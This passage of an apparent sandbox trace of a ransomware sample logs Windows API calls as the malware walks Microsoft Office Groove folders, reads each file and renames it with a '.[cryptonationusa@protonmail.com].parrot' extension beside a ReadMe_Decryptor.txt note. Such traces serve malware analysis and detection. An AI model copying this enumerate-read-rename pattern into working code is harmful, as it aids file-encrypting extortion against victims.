ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.745] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.745] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.745] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f4b000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91f4b000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0190.746] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.746] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.747] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.747] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ce, lpOverlapped=0x0) returned 1 [0190.747] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.753] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.753] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.754] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.754] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10b, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x10b, lpOverlapped=0x0) returned 1 [0190.754] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.761] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.761] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdbac220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdbac220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.761] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdbac220, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfdbac220, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdbac220, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0190.762] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.762] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.763] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.763] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcfb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xcfb, lpOverlapped=0x0) returned 1 [0190.763] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.769] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.769] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.770] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x362, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x362, lpOverlapped=0x0) returned 1 [0190.770] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.775] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.775] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.775] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.775] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.775] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.775] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x86c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0190.776] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.776] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.778] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.778] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x86c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x86c, lpOverlapped=0x0) returned 1 [0190.778] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.804] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.804] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.805] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.805] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1f0, lpOverlapped=0x0) returned 1 [0190.805] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.812] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.812] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.858] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.858] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x401, lpOverlapped=0x0) returned 1 [0190.859] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.893] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.899] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.899] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdd02e80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdd02e80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.899] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdbd2380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x988, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0190.900] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.900] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.901] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.901] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbf2, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xbf2, lpOverlapped=0x0) returned 1 [0190.902] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.907] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.907] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.909] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x38d, lpOverlapped=0x0) returned 1 [0190.909] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.910] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.914] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0190.915] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.916] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x348, lpOverlapped=0x0) returned 1 [0190.916] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.916] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0190.921] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0190.921] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0190.921] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0190.921] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0190.921] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9325dd00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9325dd00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0190.921] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.921] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.922] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.922] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16c, lpOverlapped=0x0) returned 1 [0190.922] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.923] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0190.927] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0190.927] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0190.928] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.928] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16c, lpOverlapped=0x0) returned 1 [0190.928] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft 